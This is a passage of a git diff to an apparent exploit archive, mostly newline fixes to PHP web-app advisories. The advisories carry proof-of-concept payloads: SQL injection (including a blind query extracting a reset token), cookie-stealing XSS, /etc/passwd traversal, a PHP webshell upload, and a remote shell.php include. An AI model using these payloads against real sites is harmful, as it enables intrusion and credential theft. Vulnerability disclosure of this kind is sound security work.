+http://www.example.com/wp-content/plugins/plg_novana/novana_detail.php?lightbox[width]=700&lightbox[height]=400&id=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/38050.txt b/platforms/php/webapps/38050.txt index 78bd85f88..c69a13840 100755 --- a/platforms/php/webapps/38050.txt +++ b/platforms/php/webapps/38050.txt @@ -4,4 +4,4 @@ The Zarzadzonie Kontem plugin for WordPress is prone to an arbitrary file-upload An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. -http://www.example.com/wp-content/plugins/zarzadzanie_kontem/js/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php \ No newline at end of file +http://www.example.com/wp-content/plugins/zarzadzanie_kontem/js/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php \ No newline at end of file diff --git a/platforms/php/webapps/38057.txt b/platforms/php/webapps/38057.txt index 10853db10..bdd5f38d6 100755 --- a/platforms/php/webapps/38057.txt +++ b/platforms/php/webapps/38057.txt @@ -4,4 +4,4 @@ The Magazine Basic theme for WordPress is prone to an SQL-injection vulnerabilit An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/themes/magazine-basic/view_artist.php?id=[SQL] \ No newline at end of file +http://www.example.com/wp-content/themes/magazine-basic/view_artist.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/38060.txt b/platforms/php/webapps/38060.txt index 47a128861..22a390bf2 100755 --- a/platforms/php/webapps/38060.txt +++ b/platforms/php/webapps/38060.txt @@ -4,4 +4,4 @@ The Ads Box plugin for WordPress is prone to an SQL-injection vulnerability beca An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/ads-box/iframe_ampl.php?count=[SQLi] \ No newline at end of file +http://www.example.com/wp-content/plugins/ads-box/iframe_ampl.php?count=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/38061.txt b/platforms/php/webapps/38061.txt index b1c306479..97145c4f1 100755 --- a/platforms/php/webapps/38061.txt +++ b/platforms/php/webapps/38061.txt @@ -8,4 +8,4 @@ Beat Websites 1.0 is vulnerable; other versions may also be affected. http://www.example.com/page_detail.php?id=1 and 1=1 -http://www.example.com/page_detail.php?id=1 and 1=2 \ No newline at end of file +http://www.example.com/page_detail.php?id=1 and 1=2 \ No newline at end of file diff --git a/platforms/php/webapps/38063.txt b/platforms/php/webapps/38063.txt index 2c4cd30be..1f6b56ea8 100755 --- a/platforms/php/webapps/38063.txt +++ b/platforms/php/webapps/38063.txt @@ -4,4 +4,4 @@ The Wp-ImageZoom theme for WordPress is prone to an SQL-injection vulnerability An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/wp-imagezoom/zoom.php?id=[SQL] \ No newline at end of file +http://www.example.com/wp-content/plugins/wp-imagezoom/zoom.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/38064.txt b/platforms/php/webapps/38064.txt index 8e0979d94..5acafe9d0 100755 --- a/platforms/php/webapps/38064.txt +++ b/platforms/php/webapps/38064.txt @@ -4,4 +4,4 @@ The CStar Design theme for WordPress is prone to an SQL-injection vulnerability An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/themes/cstardesign/swf/flashmo/flashmoXML.php?id=[SQL] \ No newline at end of file +http://www.example.com/wp-content/themes/cstardesign/swf/flashmo/flashmoXML.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/38066.txt b/platforms/php/webapps/38066.txt index 595e25d1d..951a532f5 100755 --- a/platforms/php/webapps/38066.txt +++ b/platforms/php/webapps/38066.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Video Lead Form 0.5 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-admin/admin.php?page=video-lead-form&errMsg=%27;alert%28String.fromCharCode%2888,83,83%29%29//%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file +http://www.example.com/wordpress/wp-admin/admin.php?page=video-lead-form&errMsg=%27;alert%28String.fromCharCode%2888,83,83%29%29//%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file diff --git a/platforms/php/webapps/38076.txt b/platforms/php/webapps/38076.txt index 64599fd68..8c904834d 100755 --- a/platforms/php/webapps/38076.txt +++ b/platforms/php/webapps/38076.txt @@ -10,4 +10,4 @@ http://www.example.com/bigdump.php?start= [SQL] http://www.example.com/bigdump.php?start= [XSS] -http://www.example.com/bigdump.php [File Upload] \ No newline at end of file +http://www.example.com/bigdump.php [File Upload] \ No newline at end of file diff --git a/platforms/php/webapps/38077.txt b/platforms/php/webapps/38077.txt index 24b5380d1..cd3506c44 100755 --- a/platforms/php/webapps/38077.txt +++ b/platforms/php/webapps/38077.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to compromise the application, access or modi Toolbox 1.4 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/Themes/toolbox/include/flyer.php?mls=[Sqli] \ No newline at end of file +http://www.example.com/wp-content/Themes/toolbox/include/flyer.php?mls=[Sqli] \ No newline at end of file diff --git a/platforms/php/webapps/38099.txt b/platforms/php/webapps/38099.txt index 19c97417f..ffbb361e4 100755 --- a/platforms/php/webapps/38099.txt +++ b/platforms/php/webapps/38099.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TinyMCPUK 0.3 is vulnerable; other versions may also be affected. -http://www.example.com/filemanager/connectors/php/connector.php?test=&lt;h1&gt;p0c&lt;/h1&gt;&amp;xss=&lt;script&gt;alert(document.cookie)&lt;/script&gt; \ No newline at end of file +http://www.example.com/filemanager/connectors/php/connector.php?test=&lt;h1&gt;p0c&lt;/h1&gt;&amp;xss=&lt;script&gt;alert(document.cookie)&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/38101.txt b/platforms/php/webapps/38101.txt index 0ca9e4adc..42f9d89d3 100755 --- a/platforms/php/webapps/38101.txt +++ b/platforms/php/webapps/38101.txt @@ -4,4 +4,4 @@ The Zingiri Forums plugin for WordPress is prone to a local file-include vulnera An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. -http://www.example.com/wp-content/plugins/zingiri-forum/mybb/memberlist.php?language=[Directory or file] \ No newline at end of file +http://www.example.com/wp-content/plugins/zingiri-forum/mybb/memberlist.php?language=[Directory or file] \ No newline at end of file diff --git a/platforms/php/webapps/38102.txt b/platforms/php/webapps/38102.txt index 2b2a25130..71ae7c82d 100755 --- a/platforms/php/webapps/38102.txt +++ b/platforms/php/webapps/38102.txt @@ -4,4 +4,4 @@ The Nest theme for WordPress is prone to an SQL-injection vulnerability because An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/themes/nest/gerador_galeria.php?codigo=[Sqli] \ No newline at end of file +http://www.example.com/wp-content/themes/nest/gerador_galeria.php?codigo=[Sqli] \ No newline at end of file diff --git a/platforms/php/webapps/38103.txt b/platforms/php/webapps/38103.txt index e9f2ee281..127485853 100755 --- a/platforms/php/webapps/38103.txt +++ b/platforms/php/webapps/38103.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Newscoop 4.0.2 is vulnerable; other versions may also be affected. Script: /admin/password_recovery.php -Payload: f_post_sent=1&f_email=example@example.com' and (select if(substr(password_reset_token,15,1)='1',sleep(18000),0) from liveuser_users where id=1 limit 1)-- and 1!='@sikdir and 9='9&Login=Recover+password \ No newline at end of file +Payload: f_post_sent=1&f_email=example@example.com' and (select if(substr(password_reset_token,15,1)='1',sleep(18000),0) from liveuser_users where id=1 limit 1)-- and 1!='@sikdir and 9='9&Login=Recover+password \ No newline at end of file diff --git a/platforms/php/webapps/38112.txt b/platforms/php/webapps/38112.txt index 4c177a51f..0891ea715 100755 --- a/platforms/php/webapps/38112.txt +++ b/platforms/php/webapps/38112.txt @@ -4,4 +4,4 @@ FOOT Gestion is prone to an SQL-injection vulnerability because it fails to suff A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?page=contacter.php&id=-1 union select 1,2--%20 \ No newline at end of file +http://www.example.com/index.php?page=contacter.php&id=-1 union select 1,2--%20 \ No newline at end of file diff --git a/platforms/php/webapps/38115.txt b/platforms/php/webapps/38115.txt index 2239bacdb..827879130 100755 --- a/platforms/php/webapps/38115.txt +++ b/platforms/php/webapps/38115.txt @@ -4,4 +4,4 @@ Simple Invoices is prone to multiple HTML-injection vulnerabilities and a cross- Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. -[http://]www.example.com/simpleinvoices/index.php?module=invoices&view=manage&having=%3C/script%3E%3Cscript%3Ealert%28%27POC%20XSS%27%29;%3C/script%3E%3Cscript%3E \ No newline at end of file +[http://]www.example.com/simpleinvoices/index.php?module=invoices&view=manage&having=%3C/script%3E%3Cscript%3Ealert%28%27POC%20XSS%27%29;%3C/script%3E%3Cscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/38131.txt b/platforms/php/webapps/38131.txt index 43ba90ebf..3a9808acb 100755 --- a/platforms/php/webapps/38131.txt +++ b/platforms/php/webapps/38131.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHP Address Book 8.1.24.1 is vulnerable; other versions may also be affected. http://www.example.com/index.php?group=%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83 -%2C83%29%29%3C%2FSCRIPT%3E \ No newline at end of file +%2C83%29%29%3C%2FSCRIPT%3E \ No newline at end of file diff --git a/platforms/php/webapps/38133.txt b/platforms/php/webapps/38133.txt index badc25ad4..01f27b65c 100755 --- a/platforms/php/webapps/38133.txt +++ b/platforms/php/webapps/38133.txt @@ -37,7 +37,7 @@ http://www.example.complugins/wp_rokbox/thumb.php?src=http://site.flickr.com/big Arbitrary File Upload (WASC-31): -http://www.example.complugins/wp_rokbox/thumb.php?src=http://flickr.com.server/shell.php +http://www.example.complugins/wp_rokbox/thumb.php?src=http://flickr.com.site.com/shell.php Content Spoofing (WASC-12): diff --git a/platforms/php/webapps/38134.txt b/platforms/php/webapps/38134.txt index d436550fb..106dac794 100755 --- a/platforms/php/webapps/38134.txt +++ b/platforms/php/webapps/38134.txt @@ -4,4 +4,4 @@ ZT Autolinks Component for Joomla! is prone to a local file-include vulnerabilit An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/38135.txt b/platforms/php/webapps/38135.txt index 930eb0ac7..6836cf5d3 100755 --- a/platforms/php/webapps/38135.txt +++ b/platforms/php/webapps/38135.txt @@ -4,4 +4,4 @@ The Bit Component for Joomla! is prone to a local file-include vulnerability bec An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/index.php?option=com_bit&controller=../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_bit&controller=../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/38139.txt b/platforms/php/webapps/38139.txt index fc0030e24..7268f8781 100755 --- a/platforms/php/webapps/38139.txt +++ b/platforms/php/webapps/38139.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to compromise the application, access or modi Transactions 2.0 is vulnerable; other versions may also be affected. -http://www.example.com//bank.php?transactions=[SQLi] \ No newline at end of file +http://www.example.com//bank.php?transactions=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/38141.txt b/platforms/php/webapps/38141.txt index 495b3de35..5a6f5e7e4 100755 --- a/platforms/php/webapps/38141.txt +++ b/platforms/php/webapps/38141.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to execute arbitrary script code i Hero 3.76 is vulnerable; other versions may also be affected. -http://www.example.com/hero_os/search?q=" onmouseover%3dalert(/XSS/) %3d" \ No newline at end of file +http://www.example.com/hero_os/search?q=" onmouseover%3dalert(/XSS/) %3d" \ No newline at end of file diff --git a/platforms/php/webapps/38142.txt b/platforms/php/webapps/38142.txt index 954d92d6b..be7a3576c 100755 --- a/platforms/php/webapps/38142.txt +++ b/platforms/php/webapps/38142.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to execute arbitrary script code i Hero 3.76 is vulnerable; other versions may also be affected. -http://www.example.com/hero_os/users/login?errors=true&username=" onmouseover%3dalert(/XSS/) %3d" \ No newline at end of file +http://www.example.com/hero_os/users/login?errors=true&username=" onmouseover%3dalert(/XSS/) %3d" \ No newline at end of file diff --git a/platforms/php/webapps/38143.txt b/platforms/php/webapps/38143.txt index 695ff54ae..328ac7156 100755 --- a/platforms/php/webapps/38143.txt +++ b/platforms/php/webapps/38143.txt @@ -4,4 +4,4 @@ cPanel is prone to a cross-site scripting vulnerability because it fails to prop An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/frontend/x3/mail/manage.html?account=%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSSBYRAFAY/%29;%3E \ No newline at end of file +http://www.example.com/frontend/x3/mail/manage.html?account=%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSSBYRAFAY/%29;%3E \ No newline at end of file diff --git a/platforms/php/webapps/38144.txt b/platforms/php/webapps/38144.txt index c4e08c3d0..dc7e3e22a 100755 --- a/platforms/php/webapps/38144.txt +++ b/platforms/php/webapps/38144.txt @@ -4,4 +4,4 @@ City Reviewer is prone to an SQL-injection vulnerability because the application A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/city_reviewer/search.php?category=6 \ No newline at end of file +http://www.example.com/city_reviewer/search.php?category=6 \ No newline at end of file diff --git a/platforms/php/webapps/38152.txt b/platforms/php/webapps/38152.txt index 4320b6a89..e6338e589 100755 --- a/platforms/php/webapps/38152.txt +++ b/platforms/php/webapps/38152.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to upload a file and view local files in th MotoCMS 1.3.3 and prior versions are vulnerable. -http://www.example.com/admin/data/users.xml \ No newline at end of file +http://www.example.com/admin/data/users.xml \ No newline at end of file diff --git a/platforms/php/webapps/38153.txt b/platforms/php/webapps/38153.txt index 242474381..7d0be1699 100755 --- a/platforms/php/webapps/38153.txt +++ b/platforms/php/webapps/38153.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br cPanel 11.34.0 and WHM 11.34.0 are vulnerable; other versions may also be affected. -http://www.example.com/webmail/x3/mail/clientconf.html?domain=&redirectdomain=&acct=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&archiving=0 \ No newline at end of file +http://www.example.com/webmail/x3/mail/clientconf.html?domain=&redirectdomain=&acct=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&archiving=0 \ No newline at end of file diff --git a/platforms/php/webapps/38154.txt b/platforms/php/webapps/38154.txt index 389756cdc..34527fdb9 100755 --- a/platforms/php/webapps/38154.txt +++ b/platforms/php/webapps/38154.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br cPanel 11.34.0 and WHM 11.34.0 are vulnerable; other versions may also be affected. -http://www.example.com/frontend/x3/stats/detailbw.html?mon=Dec&year=2006&domain=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&target=x3demob \ No newline at end of file +http://www.example.com/frontend/x3/stats/detailbw.html?mon=Dec&year=2006&domain=%3Cscript%3Ealert%28%22XSS%20Vulnerability%22%29%3C/script%3E&target=x3demob \ No newline at end of file diff --git a/platforms/php/webapps/38155.txt b/platforms/php/webapps/38155.txt index 0e80b5d11..bdc2a5d7a 100755 --- a/platforms/php/webapps/38155.txt +++ b/platforms/php/webapps/38155.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow http://www.example.com/webmail/x3/mail/filters/editfilter.html?account=&filtername=%22%3E%3Cimg%20src=x%20onerror=prompt(0);%3E -http://www.example.com/webmail/x3/mail/filters/editfilter.html?account=&filtername=%22%3E%3Cimg%20src=x%20onerror=prompt(0);%3E \ No newline at end of file +http://www.example.com/webmail/x3/mail/filters/editfilter.html?account=&filtername=%22%3E%3Cimg%20src=x%20onerror=prompt(0);%3E \ No newline at end of file diff --git a/platforms/php/webapps/38156.txt b/platforms/php/webapps/38156.txt index 4fb5f3784..8880b5113 100755 --- a/platforms/php/webapps/38156.txt +++ b/platforms/php/webapps/38156.txt @@ -4,4 +4,4 @@ cPanel is prone to a cross-site scripting vulnerability because it fails to prop An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/frontend/x3/files/dir.html?showhidden=1&dir=%3Cimg%20src=x%20onerror=prompt%280%29;%3E \ No newline at end of file +http://www.example.com/frontend/x3/files/dir.html?showhidden=1&dir=%3Cimg%20src=x%20onerror=prompt%280%29;%3E \ No newline at end of file diff --git a/platforms/php/webapps/38158.txt b/platforms/php/webapps/38158.txt index 457e87252..ef4874d68 100755 --- a/platforms/php/webapps/38158.txt +++ b/platforms/php/webapps/38158.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, e WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php?reqID=1' or 1='1 \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php?reqID=1' or 1='1 \ No newline at end of file diff --git a/platforms/php/webapps/38159.txt b/platforms/php/webapps/38159.txt index a743a9cda..db4c5a038 100755 --- a/platforms/php/webapps/38159.txt +++ b/platforms/php/webapps/38159.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, e WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/backup.php?reqID=1' or 1='1 \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/backup.php?reqID=1' or 1='1 \ No newline at end of file diff --git a/platforms/php/webapps/38160.txt b/platforms/php/webapps/38160.txt index 4d58bb27a..f0d55cb70 100755 --- a/platforms/php/webapps/38160.txt +++ b/platforms/php/webapps/38160.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, e WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportaccounts.php?reqID=1' or 1='1 \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportaccounts.php?reqID=1' or 1='1 \ No newline at end of file diff --git a/platforms/php/webapps/38161.txt b/platforms/php/webapps/38161.txt index 0d7ec692c..5f992c9d6 100755 --- a/platforms/php/webapps/38161.txt +++ b/platforms/php/webapps/38161.txt @@ -10,4 +10,4 @@ An attacker may leverage these issues to perform spoofing and phishing attacks, osTicket 1.7 DPR3 is vulnerable; other versions may also be affected. -http://www.example.com/learn/ostickRC/scp/l.php?url=http://www.example2.com \ No newline at end of file +http://www.example.com/learn/ostickRC/scp/l.php?url=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/38162.txt b/platforms/php/webapps/38162.txt index 8dbdc4188..3d2f3ca24 100755 --- a/platforms/php/webapps/38162.txt +++ b/platforms/php/webapps/38162.txt @@ -10,4 +10,4 @@ An attacker may leverage these issues to perform spoofing and phishing attacks, osTicket 1.7 DPR3 is vulnerable; other versions may also be affected. -http://www.example.com/learn/ostickRC/scp/tickets.php?a=export&h=9c2601b88c05055b51962b140f5121389&status=%22%20onmouseover=%22alert%281%29%22 \ No newline at end of file +http://www.example.com/learn/ostickRC/scp/tickets.php?a=export&h=9c2601b88c05055b51962b140f5121389&status=%22%20onmouseover=%22alert%281%29%22 \ No newline at end of file diff --git a/platforms/php/webapps/38166.txt b/platforms/php/webapps/38166.txt index 27894817d..7d92883dd 100755 --- a/platforms/php/webapps/38166.txt +++ b/platforms/php/webapps/38166.txt @@ -6,4 +6,4 @@ Attackers can exploit this vulnerability to gain administrative access to the af WHMCS 5.0 and 5.1 are vulnerable; other versions may also be affected. -http://www.example.com/whmcs/admin/login.php?correct&cache=1?login=getpost{} \ No newline at end of file +http://www.example.com/whmcs/admin/login.php?correct&cache=1?login=getpost{} \ No newline at end of file diff --git a/platforms/php/webapps/38168.txt b/platforms/php/webapps/38168.txt index 766d3c367..ae9418441 100755 --- a/platforms/php/webapps/38168.txt +++ b/platforms/php/webapps/38168.txt @@ -12,4 +12,4 @@ Cookie: admin_language=en_US; toCAdminID=edfd1d6b88d0c853c2b83cc63aca5e14 Content-Type: application/x-www-form-urlencoded Content-Length: 195 -module=file_manager&action=save_file&file_name=0wned.php&directory=/&token=edfd1d6b88d0c853c2b83cc63aca5e14&ext-comp-1277=0wned.php&content=<?+echo '<h1>0wned!</h1><pre>';+echo `ls+-al`; ?> \ No newline at end of file +module=file_manager&action=save_file&file_name=0wned.php&directory=/&token=edfd1d6b88d0c853c2b83cc63aca5e14&ext-comp-1277=0wned.php&content=<?+echo '<h1>0wned!</h1><pre>';+echo `ls+-al`; ?> \ No newline at end of file diff --git a/platforms/php/webapps/38169.txt b/platforms/php/webapps/38169.txt index 1a29cbc2c..c827422d2 100755 --- a/platforms/php/webapps/38169.txt +++ b/platforms/php/webapps/38169.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML or JavaScript code could run in the context of the affect Havalite CMS 1.1.7 is vulnerable; other versions may also be affected. -http://www.example.com/?p=1 "comment" with value %E2%80%9C%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/?p=1 "comment" with value %E2%80%9C%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/3817.txt b/platforms/php/webapps/3817.txt index ddea42e1c..29908d217 100755 --- a/platforms/php/webapps/3817.txt +++ b/platforms/php/webapps/3817.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo------------------- | Imageview v5.3 (fileview.php) Local File Inclusion | diff --git a/platforms/php/webapps/38171.txt b/platforms/php/webapps/38171.txt index f7dc89781..e8150c411 100755 --- a/platforms/php/webapps/38171.txt +++ b/platforms/php/webapps/38171.txt @@ -9,4 +9,4 @@ Incapsula 1.4.6_b and prior are vulnerable. http://www.example.com/administrator/components/com_incapsula/assets/tips/en/Security.php?token="><script>alert(document.cookie)</script> -http://www.example.com/administrator/components/com_incapsula/assets/tips/en/Performance.php?token="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/administrator/components/com_incapsula/assets/tips/en/Performance.php?token="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/38178.txt b/platforms/php/webapps/38178.txt index 5168dce07..709c1ff2e 100755 --- a/platforms/php/webapps/38178.txt +++ b/platforms/php/webapps/38178.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow NextGEN Gallery 1.9.10 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/nextgen-gallery/nggallery.php?test-head=[Xss] \ No newline at end of file +http://www.example.com/wp-content/plugins/nextgen-gallery/nggallery.php?test-head=[Xss] \ No newline at end of file diff --git a/platforms/php/webapps/38180.txt b/platforms/php/webapps/38180.txt index 44e266c1e..2f8398bc9 100755 --- a/platforms/php/webapps/38180.txt +++ b/platforms/php/webapps/38180.txt @@ -4,4 +4,4 @@ TinyBrowser is prone to multiple vulnerabilities. An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/js/tiny_mce/plugins/tinybrowser/edit.php?type=%22%20style=%22xss:\0065xpression(alert(document.cookie)) \ No newline at end of file +http://www.example.com/js/tiny_mce/plugins/tinybrowser/edit.php?type=%22%20style=%22xss:\0065xpression(alert(document.cookie)) \ No newline at end of file diff --git a/platforms/php/webapps/38181.txt b/platforms/php/webapps/38181.txt index b2e42032c..7c16bac0f 100755 --- a/platforms/php/webapps/38181.txt +++ b/platforms/php/webapps/38181.txt @@ -4,4 +4,4 @@ TinyBrowser is prone to multiple vulnerabilities. An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/site/js/tiny_mce/plugins/tinybrowser/upload.php?type=%22);alert(document.cookie)// \ No newline at end of file +http://www.example.com/site/js/tiny_mce/plugins/tinybrowser/upload.php?type=%22);alert(document.cookie)// \ No newline at end of file diff --git a/platforms/php/webapps/38182.txt b/platforms/php/webapps/38182.txt index 9c8f97df9..9d26a668d 100755 --- a/platforms/php/webapps/38182.txt +++ b/platforms/php/webapps/38182.txt @@ -4,4 +4,4 @@ TinyBrowser is prone to multiple vulnerabilities. An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/js/tiny_mce/plugins/tinybrowser/tinybrowser.php?type=%22%20style=%22xss:\0065xpression(alert(document.cookie)) \ No newline at end of file +http://www.example.com/js/tiny_mce/plugins/tinybrowser/tinybrowser.php?type=%22%20style=%22xss:\0065xpression(alert(document.cookie)) \ No newline at end of file diff --git a/platforms/php/webapps/38183.txt b/platforms/php/webapps/38183.txt index ad027c702..3053ff0d5 100755 --- a/platforms/php/webapps/38183.txt +++ b/platforms/php/webapps/38183.txt @@ -4,4 +4,4 @@ TinyBrowser is prone to multiple vulnerabilities. An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/js/tiny_mce/plugins/tinybrowser/tinybrowser.php?type= \ No newline at end of file +http://www.example.com/js/tiny_mce/plugins/tinybrowser/tinybrowser.php?type= \ No newline at end of file diff --git a/platforms/php/webapps/38184.txt b/platforms/php/webapps/38184.txt index 498768f93..1a09b252a 100755 --- a/platforms/php/webapps/38184.txt +++ b/platforms/php/webapps/38184.txt @@ -4,4 +4,4 @@ TinyBrowser is prone to multiple vulnerabilities. An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/js/tiny_mce/plugins/tinybrowser/edit.php?type= \ No newline at end of file +http://www.example.com/js/tiny_mce/plugins/tinybrowser/edit.php?type= \ No newline at end of file diff --git a/platforms/php/webapps/38207.txt b/platforms/php/webapps/38207.txt index 4948784f2..487278856 100755 --- a/platforms/php/webapps/38207.txt +++ b/platforms/php/webapps/38207.txt @@ -9,4 +9,4 @@ The following products are vulnerable: Quick.Cms 5.0 Quick.Cart 6.0 -http://www.example.com/admin.php/')"></select><script>alert(document.cookie);</script>/ \ No newline at end of file +http://www.example.com/admin.php/')"></select><script>alert(document.cookie);</script>/ \ No newline at end of file diff --git a/platforms/php/webapps/38209.txt b/platforms/php/webapps/38209.txt index 13398c564..061809e47 100755 --- a/platforms/php/webapps/38209.txt +++ b/platforms/php/webapps/38209.txt @@ -6,4 +6,4 @@ Remote attackers can exploit this issue to read arbitrary files. This may lead t Gallery 3.8.3 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/gallery-plugin/gallery-plugin.php?filename_1=[AFR] \ No newline at end of file +http://www.example.com/wp-content/plugins/gallery-plugin/gallery-plugin.php?filename_1=[AFR] \ No newline at end of file diff --git a/platforms/php/webapps/38228.txt b/platforms/php/webapps/38228.txt index ef7a6aa37..1644d0130 100755 --- a/platforms/php/webapps/38228.txt +++ b/platforms/php/webapps/38228.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc phpLiteAdmin 1.8.x and 1.9.x are vulnerable. -http://www.example.com/phpliteadmin.php?action=row_view&table=' [ SQLi ] \ No newline at end of file +http://www.example.com/phpliteadmin.php?action=row_view&table=' [ SQLi ] \ No newline at end of file diff --git a/platforms/php/webapps/38229.txt b/platforms/php/webapps/38229.txt index 95d3c290d..f6dc8fadb 100755 --- a/platforms/php/webapps/38229.txt +++ b/platforms/php/webapps/38229.txt @@ -6,4 